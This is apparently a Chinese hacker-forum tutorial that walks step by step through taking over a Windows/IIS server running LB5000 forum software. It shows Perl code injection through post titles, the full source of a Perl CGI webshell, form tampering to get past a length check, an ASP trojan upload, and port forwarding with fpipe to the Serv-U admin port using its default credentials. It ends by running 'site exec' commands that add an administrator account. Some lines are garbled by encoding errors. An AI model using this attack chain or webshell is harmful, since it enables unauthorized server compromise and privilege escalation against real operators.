内容:
目标服务器配置:/windows2000/ /iis5.0/ /mssql/ /mysql/ /serv-u 4.0.1/ /activeperl/
服务器权限设置:everyone /完全控制/
服务器补丁情况:系统 /sp4/ mssql /sp3/
其实这篇文章没有什么技术含量,只是想把一些好的思路跟大家分享出来!
想必大家都知道lb论坛吧?我就不对其论坛及漏洞做过多的介绍了!
首先我们来注册一个帐户,然后我们随便找个版块发表一个文章!
在标题栏上输入and system(dir c:\)#
ok!发表成功后,在地址栏处有相应文章id
http://127.0.0.1/cgi-bin/topic.cgi?forum=1&topic=1
我们修改连接地址然后在地址栏提交此url,就会触发此漏洞!如下:
http://127.0.0.1/cgi-bin/forum1/1.pl
呵呵,看到什么了吗?
—————————–
cgi error
the specified cgi application misbehaved by not returning a complete set of http headers. the headers it did return are:
cant find string terminator "" anywhere before eof at d:\bbs\cgi-bin\forum1\1.pl line 1.
—————————–
恩,这!
样我们就得到了论坛在目标服务器上的本地路径!
ok,接下来我们要通过此漏洞得到一个webshell,webshell的代码如下:
#!/usr/bin/perl
binmode(stdout);
syswrite(stdout, "content-type: text/html\r\n\r\n", 27);
$_ = $env{query_string};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(stdout, "<html><pre>\r\n", 13);
open(stderr, ">&stdout") ││ die "cant redirect stderr";
system($execthis);
syswrite(stdout, "\r\n</pre></html>\r\n", 17);
close(stderr);
close(stdout);
exit;
我们把它保存为*.txt文件!保存后,进帖子,我们上传,上传类型选择txt!
上传完毕后,我们看看这个小东东的地址是什么!
http://127.0.0.1/non-cgi/usr/1/1_1.txt
这就是我们的cgi网页木马了!我们通过标题栏来把这个txt文件改为*.cgi的!
编辑自己的帖子!
and system(ren d:\bbs\non-cgi\usr\1\1_1.txt cmd.cgi)#
这里要说明一下!如果论坛的路径设置的很深(?
热纾篸:\webhost\www\website\host1\bbs\lb5000\non-cgi\usr\1\1_1!
.txt)<b
r>
我们就无法进行改名,因为标题栏处有限制,不可以超过40个汉字,路径太长!怎么办?别着急!看下面!
我们先把编辑帖子的页面保存下来!用记事本打开保存的*.htm文件!找到提交标题栏的form表单!
<form name=form action=editpost.cgi method=post enctype=multipart/form-data>
/我们把action提交的页面修改成editpost.cgi在目标服务器的url地址:
/<form name=form action=http://127.0.0.1/cgi-bin/editpost.cgi method=post enctype=multipart/form-data>
……代码省略……
<td bgcolor=#f4faed><input maxlength=80 size=60 value=这里就是关键,我们在这里填入要提交的表单!
name=newtopictitle> 不得超过 40 个汉字</td>
……代码省略……
</form>
这样就可以了,保存,双击打开它,然后点“发表”!就ok了!
提交后我们来执行!
http://127.0.0.1/cgi-bin/forum1/1.pl
刷新一下就可以了!我们来看看有没有执行成功?!
http://127.0.0.1/non-cgi/usr/1/cmd.cgi
哈哈,是不是已经可以了?到此,我们就已经得到了一个webshell,我们来看看服务器?
那榭?br>
http://127.0.0.1/non-cgi/usr/1/cmd.cgi?net start
有终端,且安装了serv-u(据我了解70%以上的服务器都有安装它)这个软件说好也好,说不好也不好!
好就好在它很实用,不好在于它的漏洞很多,这不!serv-u5.0现在都可以溢出。。。建议大家都别用它了!
继续!我对这个cgi的后门不太喜欢,所以,我这里用asp的后门!用同样的方法来上传一个asp后门(我用的是海阳顶端网asp木马)
http://127.0.0.1/non-cgi/usr/1/cmd.asp
呵呵!接下来我们利用serv-u来获得system权限的帐户!
我们登陆asp后门!进入d:\bbs\non-cgi\usr\1目录下,我们需要一个小东西-fpipe.exe,这个东西不用介绍了吧?!呵呵~·
把它传到此目录下!传好后,咱们来执行它!在asp目录里执行!
d:\bbs\non-cgi\usr\1\fpipe -v -l 19739 -r 43958 127.0.0.1
好!监听端口19739,打开你本地serv-u添加一台服务器,来连接19739!
填上服务器ip,监听端口号19739,填上帐户和密码!
user:localadministrator
pass:#l@$ak#.lk;0@p
全部搞定后,来连接serv-u,连接成功后,我们就对此服务器?
腟erv-u有了完全控制权限!
我们建立一个ftp帐户:
!
user:adm
in
pass:caozhe
把帐户的连接路径设置在系统盘下(例如c:\)!帐户权限全部分配(最好还提升至系统管理员)
然后,我们打开cmd!
microsoft windows [版本 5.2.3790]
(c) 版权所有 1985-2003 microsoft corp.
c:\document. and settings\administrator>ftp
ftp>open 127.0.0.1
connected to ip.
220 serv-u ftp server v4.0.1 for winsock ready…
user (ip:(none)):admin /我们刚建立的帐户名
331 user name okay, please send complete e-mail address as password.
password:caozhe /密码
230 user logged in, proceed.
ftp> cd winnt\system32 /进入系统的winnt\system32目录下
250 directory changed to /winnt/system32
ftp>quote site exec net.exe user admin caozhe /add /利用net.exe建立帐户
200 exec command successful (tid=33).
ftp>quote site exec net.exe localhost administrators admin /add /把admin帐户加到管理员组
200 exec command successful (tid=33).
到此,我们已经拥有了一个syst!
em级别的帐户,用终端服务来连接吧!呵呵,接下来的事,你们看着办吧!
希望大家别去破坏别人的服务器或数据,毕竟大家都不容易!
有任何问题或对此文有意见的请与我联系!
草哲